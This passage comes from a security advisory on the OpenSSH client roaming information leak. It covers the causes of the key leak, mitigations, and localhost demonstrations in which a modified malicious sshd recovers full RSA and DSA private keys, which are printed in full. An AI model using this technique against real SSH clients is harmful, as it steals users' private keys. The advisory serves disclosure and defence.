keys):\n\n(besides these three reasons, other reasons may exist, as suggested by\nthe CentOS and Fedora examples at the end of this section)\n\n1. If a private SSH key is loaded from disk into memory by fopen() (or\nfdopen()), fgets(), and fclose(), a partial or complete copy of this\nprivate key may remain uncleansed in memory. Indeed, these functions\nmanage their own internal buffers, and whether these buffers are\ncleansed or not depends on the OpenSSH client\u0027s libc (stdio)\nimplementation, but not on OpenSSH itself. \n\n- In all vulnerable OpenSSH versions, SSH\u0027s main() function calls\n  load_public_identity_files(), which loads the client\u0027s public keys\n  with fopen(), fgets(), and fclose(). Unfortunately, the private keys\n  (without the \".pub\" suffix) are loaded first and then discarded, but\n  nonetheless buffered in memory by the stdio functions. \n\n- In OpenSSH versions \u003c= 5.6, the load_identity_file() function (called\n  by the client\u0027s public-key authentication method) loads a private key\n  with fdopen() and PEM_read_PrivateKey(), an OpenSSL function that uses\n  fgets() and hence internal stdio buffering. \n\nInternal stdio buffering is the most severe of the three problems\ndiscussed in this section, although GNU/Linux is not affected because\nthe glibc mmap()s and munmap()s (and therefore cleanses) stdio buffers. \nBSD-based systems, on the other hand, are severely affected because they\nsimply malloc()ate and free() stdio buffers. For interesting comments on\nthis issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM06-C.+Ensure+that+sensitive+data+is+not+written+out+to+disk\n\n2. In OpenSSH versions \u003e= 5.9, the client\u0027s load_identity_file()\nfunction (called by the public-key authentication method) read()s a\nprivate key in 1024-byte chunks that are appended to a growing buffer (a\nrealloc()ating buffer) with buffer_append() (old API) or sshbuf_put()\n(new API). Unfortunately, the repeated calls to realloc() may leave\npartial copies of the private key uncleansed in memory. \n\n- In OpenSSH \u003c 6.7 (old API), the initial size of such a growing buffer\n  is 4096 bytes: if a private-key file is larger than 4K, a partial copy\n  of this private key may remain uncleansed in memory (a 3K copy in a 4K\n  buffer). Fortunately, only the file of a very large RSA key (for\n  example, an 8192-bit RSA key) can exceed 4K. \n\n- In OpenSSH \u003e= 6.7 (new API), the initial size of a growing buffer is\n  256 bytes: if a private-key file is larger than 1K (the size passed to\n  read()), a partial copy of this private key may remain uncleansed in\n  memory (a 1K copy in a 1K buffer). For example, the file of a\n  default-sized 2048-bit RSA key exceeds 1K. \n\nFor more information on this issue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MEM03-C.+Clear+sensitive+information+stored+in+reusable+resources\n\nhttps://cwe.mitre.org/data/definitions/244.html\n\n3. An OpenSSH growing-buffer that holds a private key is eventually\nfreed by buffer_free() (old API) or sshbuf_free() (new API), and both\nfunctions attempt to cleanse the buffer with memset() or bzero() before\nthey call free(). Unfortunately, an optimizing compiler may remove this\nmemset() or bzero() call, because the buffer is written to, but never\nagain read from (an optimization known as Dead Store Elimination). \n\nOpenSSH 6.6 is the only version that is not affected, because it calls\nexplicit_bzero() instead of memset() or bzero(). \n\nDead Store Elimination is the least severe of the three problems\nexplored in this section, because older GCC versions do not remove the\nmemset() or bzero() call made by buffer_free() or sshbuf_free(). GCC 5\nand Clang/LLVM do, however, remove it. For detailed discussions of this\nissue:\n\nhttps://www.securecoding.cert.org/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations\n\nhttps://cwe.mitre.org/data/definitions/14.html\n\nhttps://sourceware.org/ml/libc-alpha/2014-12/threads.html#00506\n\nFinally, for these three reasons, passphrase-encrypted SSH keys are\nleaked in their encrypted form, but an attacker may attempt to crack the\npassphrase offline. On the other hand, SSH keys that are available only\nthrough an authentication agent are never leaked, in any form. The vulnerable roaming code can be permanently disabled by adding the\nundocumented option \"UseRoaming no\" to the system-wide configuration\nfile (usually /etc/ssh/ssh_config), or per-user configuration file\n(~/.ssh/config), or command-line (-o \"UseRoaming no\"). \n\n2. If an OpenSSH client is disconnected from an SSH server that offers\nroaming, it prints \"[connection suspended, press return to resume]\" on\nstderr, and waits for \u0027\\n\u0027 or \u0027\\r\u0027 on stdin (and not on the controlling\nterminal) before it reconnects to the server; advanced users may become\nsuspicious and press Control-C or Control-Z instead, thus avoiding the\ninformation leak:\n\n# \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume]^Z\n[1]+  Stopped                 /usr/bin/ssh -p 222 127.0.0.1\n\nHowever, SSH commands that use the local stdin to transfer data to the\nremote server are bound to trigger this reconnection automatically (upon\nreading a \u0027\\n\u0027 or \u0027\\r\u0027 from stdin). Moreover, these non-interactive SSH\ncommands (for example, backup scripts and cron jobs) commonly employ\npublic-key authentication and are therefore perfect targets for this\ninformation leak:\n\n$ ls -l /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.ls\"\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ tar -cf - /etc/passwd | /usr/bin/ssh -p 222 127.0.0.1 \"cat \u003e /tmp/passwd.tar\"\ntar: Removing leading `/\u0027 from member names\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n... \n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\nSimilarly, the SCP client uses the SSH client\u0027s stdin and stdout to\ntransfer data, and can be forced by a malicious SSH server to output a\ncontrol record that ends in \u0027\\n\u0027 (an error message in server-to-client\nmode, or file permissions in client-to-server mode); this \u0027\\n\u0027 is then\nread from stdin by the fgetc() call in wait_for_roaming_reconnect(), and\ntriggers an automatic reconnection that allows the information leak to\nbe exploited without user interaction:\n\n# env ROAMING=\"scp_mode sleep:1\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/scp -P 222 127.0.0.1:/etc/passwd /tmp\n$ [connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\n\n$ /usr/bin/scp -P 222 /etc/passwd 127.0.0.1:/tmp\n[connection suspended, press return to resume][connection resumed]\n[connection suspended, press return to resume][exiting]\nlost connection\n\n3. Although a man-in-the-middle attacker can reset the TCP connection\nbetween an OpenSSH client and an OpenSSH server (which does not support\nroaming), it cannot exploit the information leak without breaking server\nhost authentication or integrity protection, because it needs to:\n\n- first, append the \"resume@appgate.com\" algorithm name to the server\u0027s\n  initial key exchange message;\n\n- second, in response to the client\u0027s \"roaming@appgate.com\" request,\n  change the server\u0027s reply from failure to success. \n\nIn conclusion, an attacker who wishes to exploit this information leak\nmust convince its target OpenSSH client to connect to a malicious server\n(an unlikely scenario), or compromise a trusted server (a more likely\nscenario, for a determined attacker). \n\n4. In the client, wait_for_roaming_reconnect()\ncalls ssh_connect(), the same function that successfully established the\nfirst connection to the server; this function supports four different\nconnection methods, but each method contains a bug and may fail to\nestablish a second connection to the server:\n\n- In OpenSSH \u003e= 6.5 (released on January 30, 2014), the default\n  ssh_connect_direct() method (a simple TCP connection) is called by\n  wait_for_roaming_reconnect() with a NULL aitop argument, which makes\n  it impossible for the client to reconnect to the server:\n\n 418 static int\n 419 ssh_connect_direct(const char *host, struct addrinfo *aitop,\n ... \n 424         int sock = -1, attempt;\n 425         char ntop[NI_MAXHOST], strport[NI_MAXSERV];\n ... \n 430         for (attempt = 0; attempt \u003c connection_attempts; attempt++) {\n ... \n 440                 for (ai = aitop; ai; ai = ai-\u003eai_next) {\n ... \n 470                 }\n 471                 if (sock != -1)\n 472                         break;  /* Successful connection. */\n 473         }\n 474\n 475         /* Return failure if we didn\u0027t get a successful connection. */\n 476         if (sock == -1) {\n 477                 error(\"ssh: connect to host %s port %s: %s\",\n 478                     host, strport, strerror(errno));\n 479                 return (-1);\n 480         }\n\n  Incidentally, this error() call displays stack memory from the\n  uninitialized strport[] array, a byproduct of the NULL aitop:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.8, LibreSSL 2.1\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n[reconnect failed, press return to retry]ssh: connect to host 127.0.0.1 port \\300\\350\\226\\373\\341: Bad file descriptor\n\n- The special ProxyCommand \"-\" communicates with the server through the\n  client\u0027s stdin and stdout, but these file descriptors are close()d by\n  packet_backup_state() at the beginning of wait_for_roaming_reconnect()\n  and are never reopened again, making it impossible for the client to\n  reconnect to the server. Moreover, the fgetc() that waits for \u0027\\n\u0027 or\n  \u0027\\r\u0027 on the closed stdin returns EOF and forces the client to exit():\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013\n\n$ /usr/bin/nc -e \"/usr/bin/ssh -o ProxyCommand=- -p 222 127.0.0.1\" 127.0.0.1 222\nPseudo-terminal will not be allocated because stdin is not a terminal. \nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n- The method ssh_proxy_fdpass_connect() fork()s a ProxyCommand that\n  passes a connected file descriptor back to the client, but it calls\n  fatal() while reconnecting to the server, because waitpid() returns\n  ECHILD; indeed, the SIGCHLD handler (installed by SSH\u0027s main() after\n  the first successful connection to the server) calls waitpid() before\n  ssh_proxy_fdpass_connect() does:\n\n1782 static void\n1783 main_sigchld_handler(int sig)\n1784 {\n.... \n1789         while ((pid = waitpid(-1, \u0026status, WNOHANG)) \u003e 0 ||\n1790             (pid \u003c 0 \u0026\u0026 errno == EINTR))\n1791                 ;\n1792\n1793         signal(sig, main_sigchld_handler);\n.... \n1795 }\n\n 101 static int\n 102 ssh_proxy_fdpass_connect(const char *host, u_short port,\n 103     const char *proxy_command)\n 104 {\n ... \n 121         /* Fork and execute the proxy command. */\n 122         if ((pid = fork()) == 0) {\n ... \n 157         }\n 158         /* Parent. */\n ... \n 167         while (waitpid(pid, NULL, 0) == -1)\n 168                 if (errno != EINTR)\n 169                         fatal(\"Couldn\u0027t wait for child: %s\", strerror(errno));\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1, OpenSSL 1.0.1p-freebsd 9 Jul 2015\n\n$ /usr/bin/ssh -o ProxyUseFdpass=yes -o ProxyCommand=\"/usr/bin/nc -F %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume]Couldn\u0027t wait for child: No child processes\n\n- The method ssh_proxy_connect() fork()s a standard ProxyCommand that\n  connects the client to the server, but if a disconnection occurs, and\n  the SIGCHLD of the terminated ProxyCommand is caught while fgetc() is\n  waiting for a \u0027\\n\u0027 or \u0027\\r\u0027 on stdin, EOF is returned (the underlying\n  read() returns EINTR) and the client exit()s before it can reconnect\n  to the server:\n\n$ /usr/bin/ssh -V\nOpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014\n\n$ /usr/bin/ssh -o ProxyCommand=\"/bin/nc %h %p\" -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][exiting]\n\n  This behavior is intriguing, because (at least on Linux and BSD) the\n  signal() call that installed the main_sigchld_handler() is supposed to\n  be equivalent to a sigaction() call with SA_RESTART. However, portable\n  versions of OpenSSH override signal() with mysignal(), a function that\n  calls sigaction() without SA_RESTART. \n\n  This last mitigating factor is actually a race-condition bug that\n  depends on the ProxyCommand itself: for example, the client never\n  fails to reconnect to the server when using Socat as a ProxyCommand,\n  but fails occasionally when using Netcat. \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 10.0, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 10.0-RELEASE (GENERIC) #0 r260789: Thu Jan 16 22:34:59 UTC 2014\n\n$ /usr/bin/ssh -V\nOpenSSH_6.4p1, OpenSSL 1.0.1e-freebsd 11 Feb 2013\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\nvOzVcOC+Y/wkpJET3ZEhNrPFZ0a0ab5JLxRwQk9mFYuGpOO8H5av5Nm8/PRB7JHi\n/rnxmfPGIWJX2dG9AInmVFGWBQCNUxwwQzpz9/VnngsjMWoYSayU534SrE36HFtE\nK+nsuxA+vtalgniToudAr6H5AoGADIkZeAPAmQQIrJZCylY00dW+9G/0mbZYJdBr\n+7TZERv+bZXaq3UPQsUmMJWyJsNbzq3FBIx4Xt0/QApLAUsa+l26qLb8V+yDCZ+n\nUxvMSgpRinkMFK/Je0L+IMwua00w7jSmEcMq0LJckwtdjHqo9rdWkvavZb13Vxh7\nqsm+NEcCgYEA3KEbTiOU8Ynhv96JD6jDwnSq5YtuhmQnDuHPxojgxSafJOuISI11\n1+xJgEALo8QBQT441QSLdPL1ZNpxoBVAJ2a23OJ/Sp8dXCKHjBK/kSdW3U8SJPjV\npmvQ0UqnUpUj0h4CVxUco4C906qZSO5Cemu6g6smXch1BCUnY0TcOgs=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:1280\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-97ed9f59/infoleak\nMIIEpQIBAAKCAQEA3GKWpUCOmK05ybfhnXTTzWAXs5A0FufmqlihRKqKHyflYXhr\nqlcdPH4PvbAhkc8cUlK4c/dZxNiyD04Og1MVwVp2kWp9ZDOnuLhTR2mTxYjEy+1T\nM3/74toaLj28kwbQjTPKhENMlqe+QVH7pH3kdun92SEqzKr7Pjx4/2YzAbAlZpT0\n9Zj/bOgA7KYWfjvJ0E9QQZaY68nEB4+vIK3agB6+JT6lFjVnSFYiNQJTPVedhisd\na3KoK33SmtURvSgSLBqO6e9uPzV87nMfnSUsYXeej6yJTR0br44q+3paJ7ohhFxD\nzzqpKnK99F0uKcgrjc3rF1EnlyexIDohqvrxEQIDAQABAoIBAQDHvAJUGsIh1T0+\neIzdq3gZ9jEE6HiNGfeQA2uFVBqCSiI1yHGrm/A/VvDlNa/2+gHtClNppo+RO+OE\nw3Wbx70708UJ3b1vBvHHFCdF3YWzzVSujZSOZDvhSVHY/tLdXZu9nWa5oFTVZYmk\noayzU/WvYDpUgx7LB1tU+HGg5vrrVw6vLPDX77SIJcKuqb9gjrPCWsURoVzkWoWc\nbvba18loP+bZskRLQ/eHuMpO5ra23QPRmb0p/LARtBW4LMFTkvytsDrmg1OhKg4C\nvcbTu2WOK1BqeLepNzTSg2wHtvX8DRUJvYBXKosGbaoIOFZvohoqSzKFs+R3L3GW\nhZz9MxCRAoGBAPITboUDMRmvUblU58VW85f1cmPvrWtFu7XbRjOi3O/PcyT9HyoW\nbc3HIg1k4XgHk5+F9r5+eU1CiUUd8bOnwMEUTkyr7YH/es+O2P+UoypbpPCfEzEd\nmuzCFN1kwr4RJ5RG7ygxF8/h/toXua1nv/5pruro+G+NI2niDtaPkLdfAoGBAOkP\nwn7j8F51DCxeXbp/nKc4xtuuciQXFZSz8qV/gvAsHzKjtpmB+ghPFbH+T3vvDCGF\niKELCHLdE3vvqbFIkjoBYbYwJ22m4y2V5HVL/mP5lCNWiRhRyXZ7/2dd2Jmk8jrw\nsj/akWIzXWyRlPDWM19gnHRKP4Edou/Kv9Hp2V2PAoGBAInVzqQmARsi3GGumpme\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: FreeBSD 9.2, 1024-bit DSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nFreeBSD 9.2-RELEASE (GENERIC) #0 r255898: Fri Sep 27 03:52:52 UTC 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.2p2, OpenSSL 0.9.8y 5 Feb 2013\n\n$ cat ~/.ssh/id_dsa\n-----BEGIN DSA PRIVATE KEY-----\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n-----END DSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:768\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-9448bb7f/infoleak\nMIIBugIBAAKBgQCEfEo25eMTu/xrpVQxBGEjW/WEfeH4jfqaCDluPBlcl5dFd8KP\ngrGm6fh8c+xdNYRg+ogHwM3uDG5aY62X804UGysCUoY5isSDkkwGrbbemHxR/Cxe\n4bxlIbQrw8KY39xLOY0hC5mpPnB01Cr+otxanYUTpsb8gpEngVvK619O0wIVAJwY\n8RLHmLnPaMFSOvYvGW6eZNgtAoGACkP73ltWMdHM1d0W8Tv403yRPaoCRIiTVQOw\noM8/PQ1JVFmBJxrJXtFJo88TevlDHLEghapj4Wvpx8NJY917bC425T2zDlJ4L9rP\nIeOjqy+HwGtDXjTHspmGy59CNe8E6vowZ3XM4HYH0n4GcwHvmzbhjJxYGmGJrng4\ncRh4VTwCgYAPxVV+3eA46WWZzlnttzxnrr/w/9yUC/DfrKKQ2OGSQ9zyVn7QEEI+\niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\n... \n\n# env ROAMING=\"client_out_buf_size:1024\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-279f5e2b/infoleak\n... \niUB2lkeMqjNwPkxddONOBZB7kFmjOS69Qp0mfmsRf15xneqU8IoMSwqa5LOXM0To\nzEpLjvCtyTJcJgz2oHglVUJqGAx8CQJq2wS+eiSQqJbQpmexNa5GfwIUKbRxQKlh\nPHatTfiy5p82Q8+TD60=\n... \n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.4, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.4 (GENERIC) #37: Tue Jul 30 15:24:05 MDT 2013\n\n$ /usr/bin/ssh -V\nOpenSSH_6.3, OpenSSL 1.0.1c 10 May 2012\n\n$ cat ~/.ssh/id_rsa\n-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n-----END RSA PRIVATE KEY-----\n\n# env ROAMING=\"client_out_buf_size:2048\" \"`pwd`\"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-35ee7ab0/infoleak\nMIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc\nVEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL\n9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175\nynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn\nw8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU\nMANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh\noxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY\nmwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M\nk3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G\n+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95\nn5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt\n8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw\nrsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5\ncMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb\n3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV\nWGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ\npCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM\nT32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY\nFTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws\nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\n\n$ /usr/bin/ssh -p 222 127.0.0.1\nuser@127.0.0.1\u0027s password:\n[connection suspended, press return to resume][connection resumed]\n\n# cat /tmp/roaming-6cb31d82/infoleak\n... \nuvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn\nzIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF\nALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1\n/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk\nkRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS\nY1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=\n\n------------------------------------------------------------------------\nPrivate Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key\n------------------------------------------------------------------------\n\n$ head -n 1 /etc/motd\nOpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015\n\n$ /usr/bin/ssh 